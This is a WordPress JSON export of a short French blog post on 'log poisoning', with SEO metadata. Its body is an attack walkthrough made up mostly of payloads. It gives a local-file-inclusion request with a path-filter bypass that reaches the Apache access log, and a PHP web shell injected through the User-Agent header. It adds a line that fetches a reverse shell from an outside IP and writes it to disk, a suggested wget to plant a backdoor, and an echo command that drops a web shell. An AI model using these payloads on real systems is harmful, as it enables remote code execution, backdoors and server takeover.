{"id":445,"date":"2021-06-26T18:36:40","date_gmt":"2021-06-26T23:36:40","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=445"},"modified":"2021-06-26T22:19:17","modified_gmt":"2021-06-27T03:19:17","slug":"log-poisoning","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/06\/26\/log-poisoning\/","title":{"rendered":"Log poisoning"},"content":{"rendered":"

Cette technique d’infiltration se r\u00e9sume \u00e0 ex\u00e9cuter une commande et \u00e0 lire le r\u00e9sultat dans le fichier journal du serveur web. La commande s’injecte via le User-Agent.<\/p>\n

\nhttp:\/\/www.vulnerable.com\/test.php?view=\/var\/www\/html\/development_testing\/..\/.\/..\/.\/..\/log\/apache2\/access.log&cmd=ls\n<\/code><\/pre><\/p>\n
On remarquera qu’ici le serveur est vuln\u00e9rable \u00e0 l’inclusion local de fichier (LFI) et que le script filtre les requ\u00eates avec \u00ab\u00a0..\/..\u00a0\u00bb et c’est la raison pour laquelle nous ins\u00e9rons un .\/ entre 2 remont\u00e9es dans le chemin d’acc\u00e8s. La commande \u00e0 ex\u00e9cuter est ls. Nous pourrions ex\u00e9cuter une commande cmd=wget http:\/\/10.9.0.15\/php-reverse-shell.php pour t\u00e9l\u00e9charger un backdoor sur le serveur.<\/p>\n
Il suffit d’intercepter la requ\u00eate avec BURP pour changer le User-Agent:
\n
\nMozilla\/5.0 <?php system($_GET['cmd']); ?> Gecko\/20100101 Firefox\/78.0\n<?php file_put_contents('shell4.php', file_get_contents('http:\/\/10.9.0.15\/php-reverse-shell.php'))?>  #autre alternative si nous avons de la difficult\u00e9 \u00e0 obtenir un reverse shell code\n<\/code><\/pre><\/p>\n
Pour la premi\u00e8re alternative, nous pourrions par exemple, uploader \u00e0 la suite de la requ\u00eate avec l’agent \u00ab\u00a0Mozilla\/5.0  Gecko\/20100101 Firefox\/78.0″ un shell avec une commande echo<\/p>\n
http:\/\/www.vulnerable.com\/test.php?view=\/var\/www\/html\/development_testing\/..\/.\/..\/.\/..\/log\/apache2\/access.log&cmd=echo "test.php?<?php system(\\$_GET['cmd']); ?>" > test.php\n<\/code><\/pre><\/p>\n
Et le tour est jou\u00e9!<\/p>\n","protected":false},"excerpt":{"rendered":"
Cette technique d’infiltration se r\u00e9sume \u00e0 ex\u00e9cuter une commande et \u00e0 lire le r\u00e9sultat dans le fichier journal du serveur web. La commande s’injecte via le User-Agent. http:\/\/www.vulnerable.com\/test.php?view=\/var\/www\/html\/development_testing\/..\/.\/..\/.\/..\/log\/apache2\/access.log&cmd=ls On remarquera qu’ici le serveur est vuln\u00e9rable \u00e0 l’inclusion local de fichier (LFI) et que le script filtre les requ\u00eates avec \u00ab\u00a0..\/..\u00a0\u00bb et c’est la raison pour laquelle nous ins\u00e9rons un .\/ entre 2 remont\u00e9es dans le chemin d’acc\u00e8s. La commande \u00e0 ex\u00e9cuter est ls. Nous pourrions ex\u00e9cuter une commande cmd=wget http:\/\/10.9.0.15\/php-reverse-shell.php pour t\u00e9l\u00e9charger un backdoor sur le serveur. Il suffit d’intercepter la requ\u00eate avec BURP pour changer le User-Agent: Mozilla\/5.0 <?php <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-445","post","type-post","status-publish","format-standard","hentry","category-non-classe"],"yoast_head":"\nLog poisoning - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/06\/26\/log-poisoning\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Log poisoning - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"Cette technique d’infiltration se r\u00e9sume \u00e0 ex\u00e9cuter une commande et \u00e0 lire le r\u00e9sultat dans le fichier journal du serveur web. La commande s’injecte via le User-Agent. http:\/\/www.vulnerable.com\/test.php?view=\/var\/www\/html\/development_testing\/..\/.\/..\/.\/..\/log\/apache2\/access.log&cmd=ls On remarquera qu’ici le serveur est vuln\u00e9rable \u00e0 l’inclusion local de fichier (LFI) et que le script filtre les requ\u00eates avec \u00ab\u00a0..\/..\u00a0\u00bb et c’est la raison pour laquelle nous ins\u00e9rons un .\/ entre 2 remont\u00e9es dans le chemin d’acc\u00e8s. La commande \u00e0 ex\u00e9cuter est ls. Nous pourrions ex\u00e9cuter une commande cmd=wget http:\/\/10.9.0.15\/php-reverse-shell.php pour t\u00e9l\u00e9charger un backdoor sur le serveur. Il suffit d’intercepter la requ\u00eate avec BURP pour changer le User-Agent: Mozilla\/5.0 <?php\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.searchevolution.com\/security\/2021\/06\/26\/log-poisoning\/\" \/>\n<meta property=\"og:site_name\" content=\"S\u00e9curiser votre site\" \/>\n<meta property=\"article:published_time\" content=\"2021-06-26T23:36:40+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-06-27T03:19:17+00:00\" \/>\n<meta name=\"author\" content=\"Germain\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Germain\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimation du temps de lecture\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/26\\\/log-poisoning\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/26\\\/log-poisoning\\\/\"},\"author\":{\"name\":\"Germain\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#\\\/schema\\\/person\\\/84a6ede19ffc8428d804d96f1e476245\"},\"headline\":\"Log poisoning\",\"datePublished\":\"2021-06-26T23:36:40+00:00\",\"dateModified\":\"2021-06-27T03:19:17+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/26\\\/log-poisoning\\\/\"},\"wordCount\":148,\"commentCount\":0,\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/26\\\/log-poisoning\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/26\\\/log-poisoning\\\/\",\"url\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/26\\\/log-poisoning\\\/\",\"name\":\"Log poisoning - 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